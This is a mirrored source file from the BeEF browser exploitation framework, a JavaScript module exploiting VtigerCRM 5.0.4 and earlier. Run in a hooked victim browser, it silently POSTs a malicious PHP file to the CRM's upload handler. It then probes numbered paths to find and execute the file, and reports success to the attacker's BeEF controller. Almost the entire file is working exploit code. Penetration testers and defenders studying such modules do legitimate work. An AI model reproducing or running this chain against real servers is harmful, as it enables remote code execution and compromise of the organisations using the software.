Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/vtiger_crm_upload_exploit/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
// VtigerCRM <= 5.0.4 "chained exploitation" PoC
8
// Hacked up for OWASP New Zealand Day, July 13th 2009
9
//
10
// Thanks for the BeEF Wade :)
11
12
// Ported to Ruby BeEF by xntrik 2010
13
14
beef.execute(function() {
15
16
//Doing the same trick I used in detect_tor to ensure exploit runs once
17
// xntrik
18
19
if (document.getElementById('vtigerimg')) {
20
//document.body.removeChild(document.getElementById('vtigerimg'));
21
//beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=There was a stagnant vtiger ID. Aborted!');
22
return "Exploit running already";
23
}
24
25
var img = new Image();
26
img.setAttribute("style","visibility:hidden");
27
img.setAttribute("width","0");
28
img.setAttribute("height","0");
29
img.id = 'vtigerimg';
30
31
document.body.appendChild(img);
32
33
baseurl = "<%= @vtiger_url %>";
34
35
function get_ajax() {
36
var http_request;
37
// use the ActiveX control for IE5.x and IE6
38
try {
39
http_request = new ActiveXObject("MSXML2.XMLHTTP");
40
} catch (othermicrosoft){
41
try {
42
http_request = new ActiveXObject("Microsoft.XMLHTTP");
43
} catch (native) {
44
// If IE7, Mozilla, Safari, etc: Use native object
45
http_request = new XMLHttpRequest();
46
}
47
}
48
return http_request;
49
}
50
51
function do_upload(){
52
setTimeout(function() {ajax_upload()}, 1000);
53
}
54
55
// In a nutshell:
56
//
57
// 1) build url
58
// 2) construct the request object
59
// 3) POST the form
60
// 4) once requestdone, call do_callfile()
61
62
function ajax_upload(){
63
var targeturl = baseurl + '/index.php?module=uploads&action=add2db&return_module=Home&return_action=index';
64
65
var http_request;
66
67
http_request = false;
68
http_request = get_ajax();
69
70
if (!http_request) {
71
// fail silently!
72
return false;
73
}
74
75
//prepare the POST
76
var boundaryString = 'PWNED';
77
var boundary = '-----------------------------PWNED';
78
var requestbody =
79
boundary + '\r\n'
80
+ 'Content-Disposition: form-data; name="MAX_FILE_SIZE"' + '\r\n'
81
+ '\r\n'
82
+ 3000000 + '\r\n'
83
+ boundary
84
+ '\r\n'
85
+ 'Content-Disposition: form-data; name="return_module"' + '\r\n'
86
+ '\r\n'
87
+ '\r\n'
88
+ boundary
89
+ '\r\n'
90
+ 'Content-Disposition: form-data; name="return_action"' + '\r\n'
91
+ '\r\n'
92
+ '\r\n'
93
+ boundary
94
+ '\r\n'
95
+ 'Content-Disposition: form-data; name="return_id"' + '\r\n'
96
+ '\r\n'
97
+ '\r\n'
98
+ boundary
99
+ '\r\n'
100
+ 'Content-Disposition: form-data; name="uploadsubject"' + '\r\n'
101
+ '\r\n'
102
+ '\r\n'
103
+ boundary
104
+ '\r\n'
105
+ 'Content-Disposition: form-data; name="filename"; filename="<%= @mal_filename %>.<%= @mal_ext %>"' + '\r\n'
106
+ 'Content-Type: application/x-httpd-php' + '\r\n'
107
+ '\r\n'
108
+ '<%= @vtiger_php %>' + '\r\n'
109
+ '\r\n'
110
+ boundary
111
+ '\r\n'
112
+ 'Content-Disposition: form-data; name="filename_hidden"' + '\r\n'
113
+ '\r\n'
114
+ '<%= @mal_filename %>.<%= @mal_ext %>'
115
+ '\r\n'
116
+ boundary
117
+ '\r\n'
118
+ 'Content-Disposition: form-data; name="txtDescription"' + '\\r\n'
119
+ '\r\n'
120
+ 'drop it like its hot' + '\r\n'
121
+ boundary
122
+ '\r\n'
123
+ 'Content-Disposition: form-data; name="save"' + '\r\n'
124
+ '\r\n'
125
+ 'Attach' + '\r\n'
126
+ boundary;
127
128
var uploadstate = 0;
129
130
http_request.onreadystatechange = function() {
131
if (http_request.readyState == 4) {
132
if (http_request.status == 200) {
133
uploadstate = 3;
134
} else {
135
uploadstate = 2;
136
}
137
} else {
138
uploadstate = 1;
139
}
140
return;
141
};
142
http_request.open("POST", targeturl, true);
143
http_request.setRequestHeader("Content-type", "multipart/form-data; boundary=---------------------------PWNED");
144
http_request.setRequestHeader("Content-length", requestbody.length);
145
http_request.send(requestbody);
146
147
setTimeout(function() {
148
if (uploadstate == 0) {
149
//something went way wrong
150
document.body.removeChild(document.getElementById('vtigerimg'));
151
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Error in file upload');
152
} else if (uploadstate == 1) {
153
//we never got a response from the server
154
document.body.removeChild(document.getElementById('vtigerimg'));
155
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Server did not respond while trying to upload file');
156
} else if (uploadstate == 2) {
157
//we got a response that was NOT a 200
158
document.body.removeChild(document.getElementById('vtigerimg'));
159
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Server gave an invalid response while trying to upload file');
160
} else if (uploadstate == 3) {
161
//We got a 200, so hopefully the file was uploaded
162
//be_graceful();
163
do_callfile(0, 1000);
164
}
165
},<%= @upload_timeout %>);
166
167
return;
168
}
169
170
function do_callfile(start, count){
171
if (document.getElementById('vtigerimg') == null) {
172
return false;
173
}
174
175
for (i=start;i<=start+count;i++)
176
{
177
var http_request = false;
178
http_request = get_ajax();
179
if (!http_request) {
180
// fail silently!
181
return false;
182
}
183
184
var findurl = baseurl + "<%= @vtiger_filepath %>" + i + "_<%= @mal_filename %>.<%= @mal_ext %>";
185
var requestbody = "birds of a feather flock together";
186
187
http_request.open('POST', findurl, false);
188
http_request.setRequestHeader("Content-length", requestbody.length);
189
http_request.send(requestbody);
190
if (http_request.status == 200) {
191
document.body.removeChild(document.getElementById('vtigerimg'));
192
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=File Uploaded AND Executed ('+findurl+')');
193
return;
194
}
195
196
}
197
return;
198
}
199
200
// Try the upload
201
function do_main(){
202
do_upload();
203
return;
204
}
205
206
// Run the sploit
207
do_main();
208
209
});
210
211